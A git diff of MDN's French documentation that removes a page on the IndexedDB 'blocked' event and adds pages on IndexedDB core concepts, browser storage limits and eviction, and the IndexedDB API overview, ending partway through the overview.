+ + diff --git a/files/fr/web/api/idbrequest/blocked_event/index.html b/files/fr/web/api/idbrequest/blocked_event/index.html deleted file mode 100644 index e3fdfdfb83..0000000000 --- a/files/fr/web/api/idbrequest/blocked_event/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: blocked -slug: Web/API/IDBRequest/blocked_event -translation_of: Web/API/IDBOpenDBRequest/blocked_event ---- -

Le handler blocked est exécuté lorsque l'ouverture d'une connexion à une base de données bloque une transaction versionchange sur celle-ci.

- -

Informations générales

- -
-
Spécification
-
IndexedDB
-
Interface
-
IDBVersionChangeEvent
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
IDBRequest
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The request concerned by this event.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
newVersion {{readonlyInline}}unsigned long (int)The new version of the database.
oldVersion {{readonlyInline}}unsigned long (int)The old version of the database.
- -

Exemple

- -
var req1 = indexedDB.open("addressbook", 3);
-
-req1.onsuccess = function( event ) {
-  var addressbookDB = event.target.result;
-
-  // Essayons d'ouvrir la même base de données avec une version de révision plus élevée
-  var req2 = indexedDB.open("addressbook", 4);
-
-  // Dans ce cas, le handler onblocked sera exécuté
-  req2.onblocked = function( e ) {
-    console.log(e)
-  };
-
-};
- -

Evénements liés

- -
    -
  • {{event("success")}}
    • -
  • {{event("error")}}
    • -
  • {{event("abort")}}
    • -
  • {{event("complete")}}
    • -
  • {{event("upgradeneeded")}}
    • -
  • {{event("blocked")}}
    • -
  • {{event("versionchange")}}
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/fr/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html new file mode 100644 index 0000000000..cb05bef3fe --- /dev/null +++ b/files/fr/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html @@ -0,0 +1,209 @@ +--- +title: Les concepts basiques d'IndexedDB +slug: Web/API/API_IndexedDB/Basic_Concepts_Behind_IndexedDB +tags: + - Avancé + - IndexedDB + - concepts +translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +

IndexedDB est un moyen pour permettre le stockage de données dans le navigateur d'un utilisateur, de manière persistante. Ses fonctions de recherche avancées permettent de créer des applications qui fonctionnent tant connectées que déconnectées. IndexedDB est utile pour créer des applications qui stockent une grande quantité de données (par exemple : un catalogue de DVDs dans une bibliothèque) et des applications qui n'ont pas forcément besoin d'une connectivité Internet continue (par exemple : des clients de messagerie électronique, des listes de tâches, des bloc-notes).

+ +

À propos de ce document

+ +

Ce document introduit les concepts et les termes essentiels d'IndexedDB. Vous aurez une vue d'ensemble et vous comprendrez les concepts-clés.

+ +

Vous pourrez trouver ici :

+ +
    +
  • Pour en savoir plus sur les termes d'IndexedDB, voyez la section Définitions.
    • +
  • Pour avoir un tutoriel sur l'utilisation de l'API, voyez Utiliser IndexedDB.
    • +
  • Pour la documentation de référence sur l'API IndexedDB, voyez l'article IndexedDB et ses sous-parties, qui documentent les types d'objets utilisés par IndexedDB.
    • +
  • Pour plus d'informations sur la manière dont le navigateur gère vos données en arrière-plan, lisez Limites de stockage du navigateur et critères d'éviction.
    • +
+ +

Vue d'ensemble d'IndexedDB

+ +

IndexedDB vous permet de stocker et récupérer des objets qui sont indexés avec une "clé". Tous les changements que vous faites dans la base de données sont forcément transactionnels. Comme la plupart des solutions de stockage du web, IndexedDB respecte la politique de sécurité utilisant l'origne (same-origin policy). Ainsi, vous pouvez accéder aux données stockées d'un domaine, alors que vous ne pouvez pas accéder aux données de domaines différents.

+ +

IndexedDB est une API asynchrone qui peut être utilisée dans la plupart des contextes, Web Workers inclus. Elle comportait également une version synchrone prévue pour être utilisée dans des Web Workers. mais cette option a été retirée de la spécification en raison du manque d'intérêt de la communauté Web.

+ +

IndexedDB est une alternative à l'API WebSQL Database, qui a été dépréciée par le W3C le 18 novembre 2010. Alors que ces APIs sont toutes deux des solutions de stockage, elles n'offrent pas les mêmes fonctionnalités. WebSQL Database est un système d'accès à une base de données relationnelle alors qu'IndexedDB est un système de table indexée. 

+ +

Les grands concepts

+ +

Si vous avez l'habitude de travailler avec d'autres types de bases de données, vous pourrez être désorienté par l'utlisation d'IndexedDB. Mais il suffit de garder les concepts importants suivants en tête :

+ +
    +
  • Les bases de données IndexedDB stockent des paires clé-valeur. Les valeurs peuvent êtres des objets structurés, et les clés peuvent être des propriétés de ces objets. Vous pouvez créer des index à partir de n'importe quelle propriété des objets, pour faciliter la recherche et l'énumération triée. Les clés peuvent être des objets binaires.
    • +
  • IndexedDB est construit autour d'un modèle de base de données transactionnelle. Tout ce que vous faites avec IndexedDB se passe dans le contexte d'une transaction. L'API IndexedDB fournit beaucoup d'objets qui représentent des index, des tables, des curseurs, etc, mais chacun de ces objets est forcément relié à une transaction donnée. Il n'est pas possible d'exécuter de commandes ou d'ouvrir des curseurs en dehors d'une transaction. Les transactions ont une durée de vie bien définie, donc essayez d'utiliser une transaction après avoir terminé le traitement des exceptions. De plus, les transactions s'engagent automatiquement, elles ne peuvent être lancées manuellement.
    + Ce modèle basé sur des transactions est vraiment utile : rendez-vous compte qu'un utilisateur peut ouvrir deux instances de la même application web dans deux onglets différents en même temps. Si on n'utilisait pas d'opérations transactionnelles, une instance pourrait écraser les modifications de l'autre, et vice versa. Si vous n'êtes pas à l'aise avec la notion de transaction dans une base de données, vous pouvez consulter l'article Wikipedia sur les transactions. Vous pouvez aussi voir plus loin la partie transaction dans la section des définitions.
    • +
  • L'API IndexedDB est principalement asynchrone. L'API ne vous donne pas les données en retournant des valeurs. Au contraire, vous devez utiliser une fonction de rappel ("callback"). Vous ne stockez pas une valeur dans la base de données, ou vous ne récupérez pas une valeur de la base de manière synchrone, mais vous demandez qu'une opération de base de données soit exécutée. Un événement DOM est envoyé lorsque l'opération est terminée, et le type d'événement vous permet de savoir si l'opération a réussi ou échoué. Cela peut sembler un peu compliqué au premier abord, mais après tout, ce n'est pas si différent du fonctionnement de XMLHttpRequest.
    • +
  • IndexedDB utilise de nombreuses requêtes. Les requêtes sont des objets qui reçoivent les événements DOM de succès ou d'échec mentionnés précédemment. Elles ont des propriétés onsuccess et onerror, et vous pouvez appeler addEventListener() et removeEventListener() sur ces objets. Elles ont aussi les propriétés readyState, result, et errorCode qui vous donnent l'état d'une requête. La propriété result est plutôt magique car elle peut correspondre à beaucoup de choses différentes, en fonction de la manière dont la requête a été créée (par exemple, une instance de IDBCursor, ou la clé de la valeur que vous venez d'insérer dans la base de données.)
    • +
  • IndexedDB utilise les évènements DOM pour vous informer quand les résultats sont disponibles. Les évènements DOM ont toujours une  propriété de type (dans IndexedDB, sont préférables "success" (succès) ou "error" (erreur)). Les évènements DOM ont aussi une propriété target (cible) qui dit vers où l'évènement est dirigé. Dans la plupart des cas, la target d'un évènement est l'objet IDBRequest qui a été généré à la suite d'une opération de base de données . Les événements "success" ne se propagent pas et ne peuvent être annulés . Les évènements "Error", se propagent et peuvent être annulés. C'est très important, lors d'un événement d'erreur, les transactions annulent au fur et à mesure qu'elles s'exécutent, à moins qu'il ne soit annulé .
    • +
  • IndexedDB est orienté objet. IndexedDB n'est pas une base de données relationnelle, avec des tables, des colonnes et des lignes. Cette différence importante et fondamentale change votre manière de concevoir et construire vos applications.
    + Dans un espace de stockage de données relationel habituel, on aurait un tableau qui permet de stocker un ensemble de lignes de données, et de colonnes de types nommés de donnée. Avec IndexedDB, au contraire, vous créez un objet de stockage pour un type de données, et les objets JavaScript persistent simplement dans cet espace. Chaque objet de stockage peut utiliser un ensemble d'index qui rendent efficaces la recherche et l'itération. Si les systèmes de base de données orientée objet ne vous sont pas familiers, vous pouvez aller lire l'article Wikipedia sur les bases de données orientées objet.
    • +
  • IndexedDB n'utilise pas le langage Structured Query Language (SQL). Il utilise des requêtes sur un index pour obtenir un curseur, que l'on utilise ensuite pour parcourir l'ensemble des résultats. Si vous ne connaissez pas bien les systèmes NoSQL, vous pouvez consulter l'article Wikipedia sur NoSQL.
    • +
  • IndexedDB adhère au principe de same-origin policy (politique de même origine). Une origine est le domaine, le protocole d'application et le port URL du document où le script est exécuté. Chaque origine a son propre ensemble de bases de données associées . Chaque base de données a un nom qui l'identifie dans une origine.
    + La limite de sécurité d'IndexedDB empêche les applications d'accèder à des données d'origine différente. Par exemple, alors qu'une application ou une page http://www.example.com/app/ peut récupérer des données de http://www.example.com/dir/, parce qu'elles ont la même origine, elle ne peut pas récupérer les données de http://www.example.com:8080/dir/ (port différent) ni de https://www.example.com/dir/ (protocole différent), parce que leurs origines sont différentes.
    • +
+ +

Définitions

+ +

Cette section définit et explique les termes utilisés dans l'API IndexedDB.

+ +

Database (base de données)

+ +
+
database (base de données)
+
Un référentiel d'informations, comprenant généralement un ou plusieurs objets de stockage. Chaque base de données doit avoir les éléments suivants : +
    +
  • Name . (nom) Il identifie la base de données dans une origine spécifique et reste constant tout au long de la durée de sa vie. Le nom peut être n'importe quelle valeur de chaîne de caractères (y compris une chaîne vide).
    • +
  • Current version (version actuelle). Lors de la création de la base de données, sa version est le nombre entier 1. Chaque base de données ne peut avoir qu'une seule version à un moment donné .
    • +
+
+
durable
+
Dans Firefox, IndexedDB était durable, ce qui signifie que dans une transaction readwrite (lecture/écriture) {{domxref ("IDBTransaction.on complet")}} était déclenché uniquement lorsque toutes les données étaient garanties, avant d'être écrites sur le disque.
+
À partir de Firefox 40, les transactions IndexedDB ont des garanties de durabilité relachées pour augmenter les performances (voir {{Bug ("1112702")}}) ; comportement identique à celui des autres navigateurs qui mettent en oeuvre IndexedDB. Dans ce cas, l'événement {{Event ("complete")}} est déclenché après la réception par le système d'exploitation de la commande d'écriture, mais potentiellement avant l'écriture effective de ces données sur le disque. L'événement peut donc être livré plus rapidement qu'avant, mais il existe un petit risque que la transaction entière soit perdue si le système d'exploitation l'écrase ou s'il y a une perte de puissance du système avant l'écriture sur le disque. Étant donné que ces événements catastrophiques sont rares, la plupart des consommateurs ne devraient pas nécessairement s'en préoccuper davantage.
+
+ +
+

Note : Dans Firefox, si vous souhaitez être sûr de la durabilité pour une raison ou une autre (par exemple, vous stockez des données critiques qui ne peuvent pas être recalculées plus tard), vous pouvez forcer une transaction d'écriture sur le disque avant la délivrance de l'évènement complete  par la création d'une transaction utilisant le mode expérimental (non standard) readwriteflush  (voir {{domxref("IDBDatabase.transaction")}}).  Ceci est actuellement expérimental et ne peut être utilisé que si la préférence dom.indexedDB.experimental est renseignée avec " true " (vrai) dans about:config.

+
+ +
+
+
object store (objet de stockage)
+
+

Le mécanisme avec lequel les données sont stockées dans la base de données. L'objet de stockage maintient constamment ses enregistrements, lesquels sont des paires  "key-value" (clé-valeur). Les enregistrements dans l'objet de stockage sont triés dans l'ordre ascendant des "keys" (clés).

+ +

Chaque objet de stockage doit avoir un nom qui est unique dans la base de données. Il peut éventuellement avoir un key generator (générateur de clé) et un key path (chemin de clé). S'il a un "key path", il utilise in-line keys (clés en ligne) ; sinon, il utilise out-of-line keys (clé hors ligne).

+ +

Pour la documentation de référence sur les objets de stockage, voir IDBObjectStore ou IDBObjectStoreSync.

+
+
version
+
À la première création de la base de données, sa version est le nombre entier 1. Chaque base de données possède une seule version à un moment donné ; il ne peut pas exister plusieurs versions dans le même temps. La seule façon de changer la version est de l'ouvrir avec une version plus haute. Ceci démarre une transaction VERSION_CHANGE et lance un évènement upgradeneeded. Le seul endroit où le schéma de la base de données peut être mis à jour est à l'intérieur du gestionnaire de cet événement.
+
Note : Cette définition décrit les spécifications les plus récentes, qui ne sont implémentées que dans des navigateurs à jour. Les anciens navigateurs ont implémenté la méthode IDBDatabase.setVersion() maintenant obsolète et supprimée.
+
database connection (connexion de la base de données)
+
Une opération créée en ouvrant une database (base de données). Une base de données peut avoir plusieurs connexions en même temps.
+
transaction
+
+

Un ensemble atomique d'accès aux données et d'opérations de modification des données sur une base de données particulière. C'est la façon dont vous interagissez avec les données dans une base. En fait, toute lecture ou changement dans la base de données doit se produire dans une transaction.

+ +

Une connexion à la base de données peut avoir plusieurs transactions actives associées à la fois, pourvu que les transactions d'écriture n'aient pas de chevauchement scopes. La portée (scope) des transactions, qui est définie lors de la création, détermine l'objet avec lequel la transaction peut interagir, et reste constante pour la durée de vie de la transaction. Ainsi, par exemple, si une connexion à la base de données a déjà une transaction d'écriture avec une portée qui couvre simplement l'objet de stockage flyingMonkey , vous pouvez commencer une seconde transaction avec une portée sur les objets de stockage unicornCentaur et unicornPegasus. En ce qui concerne les transactions de lecture, vous pouvez en avoir plusieurs - même avec chevauchements.

+ +

Les transactions doivent être de courte durée, pour que le navigateur puisse mettre fin à une transaction trop longue, afin de libérer des ressources de stockage verrouillées par cette dernière. Vous pouvez annuler la transaction, ce qui modifie les changements apportés à la base de données dans la transaction. Et vous n'avez même pas à attendre que la transaction commence ou soit active pour l'annuler.

+ +

Les trois modes de transaction sont : " readwrite " (lecture/écriture), " readonly " (lecture seule), et " versionchange " (changement de version). La seule manière de créer et supprimer les objets de stockage et les index est d'utiliser une transaction versionchange . Pour en apprendre plus sur les types de transactions, voir l'article de référence pour IndexedDB.

+ +

Parce que tout se passe au sein d'une transaction, c'est un concept très important dans IndexedDB. Pour en savoir plus sur les transactions, en particulier sur la façon dont elles se rapportent aux versions, voir IDBTransaction, qui a également une documentation de référence . Pour la documentation sur l'API synchrone, voir IDBTransactionSync.

+
+
request (requêtes)
+
L'opération par laquelle la lecture et l'écriture sur une base de données est effectuée. Chaque requête représente une opération de lecture ou d'écriture.
+
index
+
+

Un index est un objet de stockage spécialisé pour rechercher des enregistrements dans un autre objet de stockage appelé " referenced object store"  (objet de stockage référencé). L'index est un stockage persistant de key-value (clé-valeur)  dans lequel la partie "value" des enregistrements contient la partie "key" d'un enregistrement de l'objet de stockage référencé. Les enregistrements dans un index sont automatiquement remplis chaque fois que ceux de l'objet référencé sont insérés, mis à jour ou supprimés. Chaque enregistrement d'un index ne peut indiquer qu'un seul enregistrement dans son objet référencé, mais plusieurs index peuvent référencer le même objet. Lorsque l'objet référencé change, tous les index qui s'y réfèrent sont mis à jour automatiquement.

+ +

Vous pouvez également rechercher des enregistrements dans un objet de stockage en utilisant la clé.

+ +

Pour en apprendre plus sur l'utilisation des index, voir Using IndexedDB. Pour la documentation de référence sur l'index, voir IDBKeyRange.

+
+
+ +

Key and value (clé et valeur)

+ +
+
key (clé)
+
+

Une valeur de données par laquelle les valeurs stockées sont organisées et récupérées dans l'objet de stockage . Celui-ci peut obtenir la clé de l'une des trois sources : un générateur de clés, un chemin de clé et une valeur explicitement spécifiée. La clé doit être d'un type de données qui a un nombre supérieur au précédent. Chaque enregistrement doit avoir une clé unique dans l'objet de stockage, de sorte que celui-ci ne peut comporter plusieurs enregistrements avec la même clé.

+ +

Une clé peut être de l'un des types suivants : string (chaîne de caractères), date, float (flottante), binary blob (blob binaire) et array (tableau). Pour les tableaux, la valeur de la clé peut être comprise entre vide et l'infini. Et vous pouvez inclure un tableau dans un tableau.

+ +

Vous pouvez également rechercher des enregistrements dans un objet de stockage en utilisant l'index.

+
+
key generator (générateur de clé)
+
Un mécanisme pour produire de nouvelles clés dans une séquence ordonnée. Si un objet de stockage n'a pas de générateur de clé, l'application doit fournir les clés des enregistrements stockés. Les générateurs ne sont pas partagés entre les objets de stockage. Il s'agit d'un détail concernant les navigateurs, car dans le développement web, vous ne créez pas réellement ou ne gérez pas les accès aux générateurs de clés.
+
in-line key (clé en ligne)
+
Une clé qui est stockée comme partie d'une valeur de stockage. Elle est trouvée en utilisant "key path" (chemin de clé). Une clé en ligne peut être créée par un générateur. Une fois la clé générée, elle peut être stockée dans la valeur utilisant le "key path" ou être utilisée comme clé.
+
out-of-line key (clé hors ligne)
+
Une clé stockée séparément de la valeur stockée.
+
key path (chemin de clé)
+
Définit où le navigateur doit extraire la clé d'une valeur dans l'objet de stockage ou l'index. Un chemin de clé valide peut inclure l'un des éléments suivants : une chaîne vide, un identifiant JavaScript ou plusieurs identifiants JavaScript séparés par des périodes, ou un tableau contenant ces éléments. Il ne peut pas inclure d'espaces.
+
value (valeur)
+
+

Chaque enregistrement a une valeur, qui peut inclure tout ce qui peut être exprimé en JavaScript, y compris : boolean (bouléen), number (nombre), string (chaîne de caractères), date, object (objet), array (tableau), regexp, undefined (indéfini), and null (nul).

+ +

Quand un objet ou un tableau est stocké, les propriétés et valeurs dans cet objet ou ce tableau peuvent aussi être toute valeur valide.

+ +

Blobs et fichiers peuvent être stockés, voir specification {{ fx_minversion_inline("11") }}.

+
+
+ +

Intervalle et portée

+ +
+
scope (portée ou étendue)
+
L'ensemble des objets de stockage et index auxquels s'applique une transaction. Les portées des transactions en lecture seule peuvent se chevaucher et s'exécuter en même temps. Par contre, les portées des transactions d'écriture ne peuvent pas se chevaucher. Vous pouvez toujours démarrer plusieurs transactions avec la même portée en même temps, mais elles entrent dans une file d'attente et s'exécutent l'une après l'autre.
+
cursor (curseur)
+
Un mécanisme pour l'itération de plusieurs enregistrements avec une "key range" (intervalle de clés). Le curseur possède une source qui indique quel index ou objet stocké est itéré. Il a une position dans l'intervalle et se déplace dans une direction qui augmente ou diminue dans l'ordre des clés d'enregistrement. Pour la documentation de référence sur les curseurs, voir IDBCursor ou IDBCursorSync.
+
key range (intervalle de clés)
+
+

Un intervalle continu sur un type de données utilisé pour les clés. Les enregistrements peuvent être récupérés à partir des objets de stockage et des index à l'aide de touches ou d'un intervalle de clés. Vous pouvez limiter ou filtrer l'intervalle en utilisant les limites inférieures et supérieures. Par exemple, vous pouvez itérer sur toutes les valeurs d'une clé entre x et y.

+ +

Pour la documentation de référence sur "key range", voir IDBKeyRange.

+
+
+ +

Limitations

+ +

IndexedDB est conçu pour couvrir la plupart des cas qui nécessitent un stockage côté client. Cependant, il n'est pas adapté pour quelques cas comme les suivants :

+ +
    +
  • Tri par classement international . Toutes les langues ne trient pas les chaînes de la même manière, de sorte que le classement ne peut être internationalisé. Bien que la base de données ne puisse pas stocker des données dans un ordre spécifiquement international, vous pouvez trier les données que vous avez déjà lues sur votre base de données. Notez, cependant, que le locale-aware sorting a été autorisée avec un indicateur expérimental activé (actuellement pour Firefox uniquement) depuis Firefox 43.
    • +
  • Synchronisation . L'API n'est pas conçue pour prendre en charge la synchronisation avec une base de données côté serveur. Vous devez écrire un code qui synchronise une base de données indexedDB côté client avec une base de données côté serveur.
    • +
  • Recherche de texte intégral . L'API n'a pas d'équivalent à l'opérateur LIKE en SQL.
    • +
+ +

En outre, sachez que les navigateurs peuvent effacer la base de données, comme dans les conditions suivantes :

+ +
    +
  • L'utilisateur demande un effacement. De nombreux navigateurs ont des paramètres qui permettent aux utilisateurs d'effacer toutes les données stockées pour un site Web donné, y compris les cookies, les signets, les mots de passe stockés et les données IndexedDB.
    • +
  • Le navigateur est en mode de navigation privée. Certains navigateurs ont des modes "navigation privée" (Firefox) ou "incognito" (Chrome). À la fin de la session, le navigateur efface la base de données.
    • +
  • La limite de disque ou de quota a été atteinte.
    • +
  • Les données sont corrompues.
    • +
  • Un changement incompatible est apporté à la fonctionnalité.
    • +
+ +

Les circonstances exactes et les capacités du navigateur changent au fil du temps, mais la philosophie générale des fournisseurs de navigateurs est de faire les efforts nécessaires pour conserver les données lorsque c'est possible.

+ +

Étape suivante

+ +

Avec ces grands concepts dans nos poches, nous pouvons obtenir des choses plus concrètes. Pour un tutoriel sur l'utilisation de l'API, voir Using IndexedDB.

+ +

Voir aussi

+ +

Spécification

+ + + +

Référence

+ + + +

Tutoriels

+ + + +

Article connexe

+ + diff --git a/files/fr/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html b/files/fr/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html new file mode 100644 index 0000000000..bfa95657cc --- /dev/null +++ b/files/fr/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html @@ -0,0 +1,139 @@ +--- +title: Limites de stockage du navigateur et critères d'éviction +slug: Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria +tags: + - Base de données + - IndexedDB + - LRU + - Limites + - Stockage + - eviction +translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria +--- +
{{DefaultAPISidebar("IndexedDB")}}
+ +
+

Il existe un certain nombre de technologies Web qui stockent des données d'un type ou d'un autre du côté client (c'est-à-dire sur le disque local). Le processus par lequel le navigateur calcule l'espace alloué au stockage de données Web et les données à supprimer quand la limite est atteinte n'est pas simple et diffère d'un navigateur à l'autre. Cet article tente d'expliquer comment tout cela fonctionne.

+
+ +
+

Note : Les informations ci-dessous devraient être assez précises pour la plupart des navigateurs modernes, mais les spécificités du navigateur sont évoquées quand elles sont connues. Opera et Chrome devraient se comporter de la même manière dans tous les cas. Mais Opera Mini (encore basé sur presto du côté serveur) ne stocke aucune donnée sur le client.

+
+ +

Les différents types de stockage des données

+ +

Même dans le même navigateur, en utilisant la même méthode de stockage, il existe différentes classes de stockage de données à comprendre. Cette section traite des différents types que vous pouvez trouver dans différents navigateurs.

+ +

Généralement, les deux principaux types de stockage sont les suivants :

+ +
    +
  • Persistant : ce sont des données qui doivent être conservées pendant une longue période. Elles ne seront évincéés que si l'utilisateur le choisit (par exemple, dans Firefox, il existe un bouton "nettoyer stockage" dans la boîte de dialogue d'informations sur la page pour chaque page).
    • +
  • Temporaire : il s'agit de données qui n'ont pas besoin de persister très longtemps. Elles seront évacuées en-dessous d'un minimum d'utilisation ({{anch("LRU policy")}}) lorsque les limites de stockage sont atteintes.
    • +
+ +

Par défaut, le stockage temporaire sera utilisé dans la plupart des contextes d'utilisation (par exemple, des applications Web standard) et le persistant pour les applications installées (par exemple, les applications Firefox installées sur le système d'exploitation Firefox OS / Firefox de bureau, les applications Chrome).

+ +

Spécificités de Firefox

+ +

Dans Firefox, vous pouvez choisir le type de stockage que vous souhaitez utiliser en incluant une option propriétaire — storage — lorsque vous créez une base de données IndexedDB en utilisant {{domxref ("IDBFactory.open ()", "open ()")}} :

+ +
    +
  • + 
    var request = indexedDB.open("myDatabase", { version: 1, storage: "persistent" });
    +
    • +
  • + 
    var request = indexedDB.open("myDatabase", { version: 1, storage: "temporary" });
    +
    • +
+ +

Dans Firefox, quand le stockage persistant est choisi, l'utilisateur reçoit une fenêtre de dialogue d'interface utilisateur pour l'avertir que ces données persisteront et lui demander s'il en est satisfait.

+ +

Les données de stockage temporaire ne provoquent aucune fenêtre de dialogue vers l'utilisateur, mais il y a des {{anch("Limites de stockage")}}.

+ +

"Default storage" dans Firefox (stockage par défaut)

+ +

C'est le troisième type de stockage à envisager dans Firefox — "Default storage" (stockage par défaut).  C'est une option par défaut, utilisée quand vous ne spécifiez pas le paramètre storage  vu ci-dessus. Les données du stockage par défaut se comportent différemment selon les circonstances : assimilées aux données d'un stockage persistant pour les applications installées de Firefox OS, ou d'un stockage temporaire pour tout autre type d'utilisation.

+ +

Où sont stockées les données ?

+ +

Chaque type de stockage représente un référentiel distinct, voici la cartographie réelle des répertoires sous le profil Firefox d'un utilisateur (d'autres navigateurs peuvent différer légèrement) :

+ +
    +
  • <profile>/storage — le principal, le plus haut niveau de répertoire pour le stockage maintenu par le " quota manager " (manager de quotas) (voir ci-dessous).
    • +
  • <profile>/storage/permanent — répertoire de stockage des données persistantes.
    • +
  • <profile>/storage/temporary — répertoire de stockage des données temporaires.
    • +
  • <profile>/storage/default — répertoire de stockage des données par défaut.
    • +
+ +
+

Note :  Depuis l'introduction de l' API Storage , le dossier "permanent" peut être considéré comme obsolète, il n'est plus utilisé que pour les bases de données de type persistant IndexedDB. Peu importe le mode, "best-effort" (meilleur effort) ou "persistant", les données sont stockées sous <profile>/storage/default.

+
+ +
+

Note: Dans Firefox, vous pouvez trouver votre dossier profil en entrant : support dans la barre d'URL et en appuyant sur le bouton Show in... (Afficher dans ...) (par exemple, "Show in Finder" sur Mac OS X) à côté du titre "Profile Folder" (dossier de profil) .

+
+ +
+

Note: Si vous regardez dans votre profil les répertoires de données stockées, vous pouvez voir un quatrième dossier : persistent . À la base, le dossier persistent a été renommé permanent, il y a quelques temps, pour faciliter les mises à niveau / migrations.

+
+ +
+

Note: Les utilisateurs ne doivent pas ajouter leurs propres répertoires ou fichiers sous <profile>/storage . Cela entraînerait l'échec de l'initialisation du stockage ; par exemple {{domxref ("IDBFactory.open ()", "open ()")}} déclencherait un événement d'erreur.

+
+ +

Limites de stockage

+ +

L'espace de stockage maximal du navigateur est dynamique  — il est basé sur la taille de votre disque dur. La limite globale est calculée sur la base de 50% de l'espace disque libre. Dans Firefox, un outil interne du navigateur appelé " Quota Manager " (gestionnaire de quotas) surveille la quantité d'espace disque utilisée par chaque origine et supprime les données si nécessaire.

+ +

Donc, si votre disque dur est de 500 Go, le stockage total d'un navigateur est de 250 Go. S'il est dépassé, une procédure appelée "origin eviction" (éviction d'origine) entre en jeu, en supprimant la valeur totale de l'origine jusqu'à ramener le niveau de stockage en-dessous de la limite. La suppression d'une base de données d'origine peut entraîner des problèmes d'incohérence.

+ +

Il y a aussi une autre limite appelée group limit — ceci est défini comme 20% de la limite globale. Chaque origine fait partie d'un groupe (groupe d'origines). Il existe un groupe pour chaque domaine eTLD + 1.

+ +

Par exemple :

+ +
    +
  • mozilla.org — groupe1, origine1
    • +
  • www.mozilla.org — groupe1, origine2
    • +
  • joe.blogs.mozilla.org — groupe1, origine3
    • +
  • firefox.com — groupe2, origine4
    • +
+ +

Ces groupes, mozilla.org, www.mozilla.org, et joe.blogs.mozilla.org peuvent utiliser globalement un maximum de 20% de la limite globale. firefox.com a un maximum distinct de 20%.

+ +

Les deux limites reagissent différemment quand la limite est atteinte :

+ +
    +
  • La limite de groupe est également appelée «limite dure»: elle ne déclenche pas l'éviction d'origine.
    • +
  • La limite globale est une «limite douce» car il est possible que certains espaces soient libérés et que l'opération puisse se poursuivre.
    • +
+ +
+

Note: Si la limite de groupe est dépassée, ou si l'éviction d'origine ne crée pas assez d'espace libre, le navigateur lance  QuotaExceededError.

+
+ +

Politique LRU

+ +

Lorsque l'espace disque disponible est rempli, le gestionnaire de quotas commence à effacer les données sur la base de la politique LRU — l'origine la moins utilisée sera d'abord supprimée, puis la suivante, jusqu'à ce que le navigateur ne dépasse plus la limite.

+ +

Nous traçons le "dernier temps d'accès" pour chaque origine utilisant le stockage temporaire. Une fois que la limite globale du stockage temporaire est atteinte, nous essayons de trouver toutes les origines actuellement inutilisées (c'est-à-dire, sans onglets ou applications ouverts qui conservent des bases de données ouvertes). Celles-ci sont ensuite triées sur le dernier accès. Les origines les moins récemment utilisées sont ensuite supprimées jusqu'à ce qu'il y ait suffisamment d'espace pour répondre à la demande qui a déclenché cette éviction d'origine.

+ +

Quelles technologies utilisent le stockage de données du navigateur ?

+ +

Dans Firefox, les technologies suivantes utilisent le stockage de données du navigateur pour stocker des données au besoin. Nous les qualifions de "quota clients" dans ce contexte :

+ + + +

Le «dernier temps d'accès» des origines est mis à jour lorsque l'un de ces éléments est activé / désactivé. L'éviction d'origine supprimera les données pour tous ces "quota clients".

+ +

Dans Chrome / Opera, l'API " Quota Management" gère les quotas pour AppCache, IndexedDB, WebSQL et File System API.

+ +

Voir aussi

+ + diff --git a/files/fr/web/api/indexeddb_api/index.html b/files/fr/web/api/indexeddb_api/index.html new file mode 100644 index 0000000000..682043df0e --- /dev/null +++ b/files/fr/web/api/indexeddb_api/index.html @@ -0,0 +1,322 @@ +--- +title: IndexedDB +slug: Web/API/API_IndexedDB +tags: + - API + - Avancé + - Bases de données + - IndexedDB + - Stockage +translation_of: Web/API/IndexedDB_API +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +

IndexedDB est une API de bas niveau qui permet le stockage côté client de quantités importantes de données structurées, incluant des fichiers/blobs. Cette API utilise des index afin de permettre des recherches performantes sur ces données. Alors que Web Storage est utile pour stocker de petites quantités de données, il est moins utile pour stocker de grandes quantités de données structurées. IndexedDB fournit une solution. Cette page est le point d'entrée pour tout ce qui concerne IndexedDB sur MDN - vous y trouverez les liens vers la référence complète de l'API et les guides d'utilisation, le support par les navigateurs, et quelques explications des concepts clés.

+ +

{{AvailableInWorkers}}

+ +
+

Note: l'API IndexedDB est puissante, mais elle peut sembler trop compliquée dans les cas simples. Si vous préferez une API plus simple, essayez des librairies comme localForage, dexie.js, ZangoDB, PouchDB, idb, idb-keyval, JsStore et lovefield qui offrent de nombreux avantages aux développeurs de IndexedDB.

+
+ +

Concepts clés et utilisation

+ +

IndexedDB est un système de gestion de base de données transactionnel, similaire à un SGBD relationnel basé sur SQL. Cependant contrairement aux SGBD relationnels, qui utilisent des tables avec des colonnes fixes, IndexedDB est une base de données orientée objet basée sur JavaScript. IndexedDB vous permet de stocker et de récupérer des objets qui sont indexés avec une clef; tout objet supporté par l'algorithme de clônage structuré peut être stocké. Vous devez spécifier le schéma de la base de données, ouvrir une connexion à votre base de données, puis récupérer et mettre à jour des données dans une série de transactions.

+ + + +
+

Note: Comme la plupart des solutions de stockage en ligne, IndexedDB suit la politique same-origin policy. Alors même que vous pouvez accèder à des données stockées au sein d'un domaine, vous ne pouvez pas accéder à des données sur plusieurs domaines.

+
+ +

Synchrone et asynchrone

+ +

